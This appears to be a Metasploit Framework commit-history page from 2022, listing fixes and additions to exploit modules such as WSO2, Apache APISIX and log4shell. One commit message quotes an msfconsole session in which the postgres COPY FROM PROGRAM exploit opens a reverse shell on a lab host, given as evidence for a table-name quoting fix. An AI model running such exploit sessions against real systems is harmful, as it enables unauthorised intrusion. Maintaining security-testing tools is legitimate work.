Commit Graph

3953 Commits

Author SHA1 Message Date
dwelch-r7 a76600f4a9 Land #16462, add support for armle/aarch64 architectures 2022-05-03 15:48:50 +01:00
Jack Heysel 2b8ea72e51 Added autocheck fixed execute_payload method 2022-04-28 08:55:17 -07:00
Jack Heysel 5b82a978ea Added reference removed default payload 2022-04-27 09:48:21 -07:00
Jack Heysel 253cb8580a Responded to comments added retry_until_true 2022-04-27 09:45:18 -07:00
Jack Heysel a941fea26a Removed unused import added target_uri 2022-04-26 14:11:10 -07:00
Jack Heysel a8ae08d138 Updated authors 2022-04-26 13:55:59 -07:00
Jack Heysel 86ff080d31 Merge branch 'wso2-file-upload-rce' of github.com:jheysel-r7/metasploit-framework into wso2-file-upload-rce 2022-04-26 13:53:17 -07:00
Jack Heysel 1879a7568f Updated authors 2022-04-26 13:52:59 -07:00
jheysel-r7 266d3bb9ca Apply suggestions from @bcoles code review
Co-authored-by: bcoles <bcoles@gmail.com>
2022-04-26 13:40:25 -07:00
Jack Heysel 691d9fe001 Added Reliability section to Notes 2022-04-26 13:19:34 -07:00
Jack Heysel 76c8e0b65f Added Notes section to module 2022-04-26 13:01:38 -07:00
Jack Heysel 37c8fff523 Rubocop offenses 2022-04-26 12:51:12 -07:00
Jack Heysel ca0be9c145 Add WSO2 file upload RCE module 2022-04-26 12:29:12 -07:00
Brendan Coles 02d911e655 gdb_server_exec: Cleanup and add support for armle/aarch64 architectures 2022-04-25 19:25:06 +00:00
Jack Heysel 74e69917c6 Land #16450 VNC Keyboard exec fast typing fix
This PR adds small delays in the VNC Keyboard
Exec to avoid typing long commands too fast.
2022-04-21 19:45:46 -07:00
Jack Heysel 1e40595c53 Fixed typo in TIME_KBD_THRESHOLD option 2022-04-21 19:32:57 -07:00
Jack Heysel 4417a335ff Land #16379, Make SSH defaults widely used
Refactored a number of modules to use ssh_client_defaults
2022-04-19 22:08:45 -07:00
Grant Willcox a756df5400 Add in missing RuboCop note sections 2022-04-19 16:40:57 -05:00
Brendan Coles 94ed9ae28b Modules: Prefer CVE references over cve.mitre.org URL references 2022-04-19 20:42:23 +00:00
ORelio 1fdedebacf Add settings to adjust delay and interval
TIME_KBD_DELAY: Delay in milliseconds (0 to disable)
TIME_KBD_TRESHOLD: How many keys between each delay
2022-04-19 17:40:14 +02:00
ORelio fa86decd09 Apply suggestion from code review
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-04-13 18:25:45 +02:00
ORelio 1ddd893b0f VNC Keyboard Exec: Avoid typing too fast
Avoid overloading target's keyboard buffer by inserting small sleeps in long commands
2022-04-13 14:28:17 +02:00
Alexander Neumann 642bb12505 postgres_copy_from_program_cmd_exec: Quote table name
In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

    msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
    RHOSTS => 192.168.2.2
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
    tablename => 123test
    [...]
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444·
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
    [-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

    $ psql --user postgres -W -h 192.168.2.2 template1
    [...]
    template1=# DROP TABLE IF EXISTS 123test;
    ERROR:  syntax error at or near "123"
    LINE 1: DROP TABLE IF EXISTS 123test;
                                 ^
    template1=# DROP TABLE IF EXISTS "123test";
    NOTICE:  table "123test" does not exist, skipping
    DROP TABLE

With the patch, the script also works with table names which start with
numbers:

    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
    [*] 192.168.2.2:5432 - Exploit Succeeded

    [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
2022-04-04 10:32:01 +02:00
Spencer McIntyre 211626e7ce Fix the check method, add docs 2022-03-31 09:01:08 -04:00
Spencer McIntyre 94cf23e4cf Finish the Spring Cloud Function exploit 2022-03-30 18:38:41 -04:00
Heyder Andrade 6bc0032c8d Use SSH defaults
- Merge ssh defaults
- Remove options equals to default
2022-03-24 22:52:15 +01:00
Grant Willcox bf88b7f618 Land #16325 - Replace IO read on binary files with File binread 2022-03-24 10:08:40 -05:00
adfoster-r7 03d645016c Land #16250, Update service mixins for NAT options 2022-03-23 00:13:20 +00:00
Spencer McIntyre 86aed4928e Add the HttpListenerBindPort to the log4shell exploit 2022-03-22 09:06:22 -04:00
Spencer McIntyre 6ec530a5ee Improve some error handling 2022-03-21 15:22:00 -04:00
Spencer McIntyre 49aff227c5 Fix character escaping in the apisix exploit 2022-03-21 15:06:03 -04:00
sjanusz bbf9e3163a Fix file reads on Windows for binary files 2022-03-21 12:47:39 +00:00
Ashley Donaldson 1349a7c486 More redundant cleanup calls 2022-03-11 12:22:27 +11:00
Ashley Donaldson d5373a7278 Removed redundant cleanup calls which exploit_driver will call anyway 2022-03-11 12:08:51 +11:00
Ashley Donaldson c3465a8ad8 Fix whitespace EOL for msftidy 2022-03-10 11:16:01 +11:00
Ashley Donaldson 9761d68c19 Rename stop_service to cleanup_service for services that use reference counting 2022-03-10 10:28:25 +11:00
Ashley Donaldson 1494f804e7 Fix bug in java_rmi_server which would unilaterally close the HTTP server 2022-03-10 09:29:45 +11:00
Spencer McIntyre 42e0c027ab Land #16248, Added Apache APISIX RCE module 2022-03-07 09:47:04 -05:00
Spencer McIntyre 422f96fbbe Fix a plugin name reference
The plugin is actually "batch-requests", change the reference to be more
clear.
2022-03-07 09:46:15 -05:00
Heyder Andrade d7c992f402 Need to use POST to check whether the batch request is enabled or not 2022-03-04 21:00:32 +01:00
Spencer McIntyre 9ef50a2d23 Fixup typos 2022-03-04 12:34:14 -05:00
Heyder Andrade ca4ed9affe Added logic to treat the two ways of execute command
If we have the API token we can execute command using the parameter
`filter_func` or `script`, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restiction if
the plugin batch-request is also enabled.
2022-03-04 02:13:09 +01:00
Heyder Andrade 460584b079 Improved server header validation 2022-03-03 12:48:37 +01:00
Heyder Andrade a0afba45aa Remove unnecessary stuffs 2022-03-03 02:00:51 +01:00
Heyder Andrade 0d8933d162 Removed else statements from check in favor of implicit return 2022-03-02 22:42:08 +01:00
Heyder Andrade 41236232e2 WIP - add clean up function 2022-03-02 17:47:58 +01:00
Heyder Andrade 7aa9547e05 WIP - improvements on the request body 2022-03-02 01:43:04 +01:00
Heyder Andrade abd03d592e WIP - adding bypass the IP restriction (CVE-2022-24112) 2022-03-01 19:00:59 +01:00
Heyder Andrade ea2b29661f Fix typo 2022-03-01 17:13:20 +01:00
bwatters 0081811c52 Land #16185, Firefox CVE-2020-26950 use after free browser exploit
Merge branch 'land-16185' into upstream-master
2022-02-28 14:38:23 -06:00